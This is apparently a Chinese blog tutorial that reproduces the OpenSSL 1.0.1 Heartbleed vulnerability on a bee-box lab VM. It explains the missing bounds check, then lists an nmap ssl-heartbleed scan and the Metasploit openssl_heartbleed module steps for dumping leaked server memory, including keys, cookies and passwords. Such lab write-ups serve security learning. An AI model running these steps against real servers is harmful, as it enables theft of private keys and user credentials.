漏洞范围:
OpenSSL1.0.1版本
漏洞成因:
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
漏洞危害:
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
漏洞复现:
环境:本次环境使用 bee-box虚拟机(已集成该漏洞环境)进行测试。
bee-box虚拟机下载:链接
1.确定目标及端口信息。这里存在漏洞的靶机端口为8443。
2.使用nmap 的脚本进行检测漏洞是否存在。
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.224.131
由下图检测结果可以看出存在心脏滴血漏洞。
4.使用msf进行漏洞利用。
a) 打开msfconsole后,查找heartbleed模块:
#msf>search heartbleed
b) 使用第一个选项
#msf > use auxiliary/scanner/ssl/openssl_heartbleed
c) 查看需要设置哪些选项
#msf auxiliary(openssl_heartbleed) > show options
d) 这里我们需要设置RHOSTS,RPORT
e) 设置verbose,这个设置要设置成true才能看到泄露的信息
#msf auxiliary(openssl_heartbleed) > set verbose true
(此设置主要是为了显示整个过程以及leak出来的数据,如果没有的话只显示如下图结果)
f) exploit
#msf auxiliary(openssl_heartbleed) > exploit
g) 如果有人在正在登录该web应用的话,还可能可以直接抓到账号密码等信息。
作者:ch3ckr
链接:https://www.jianshu.com/p/08600e2f4530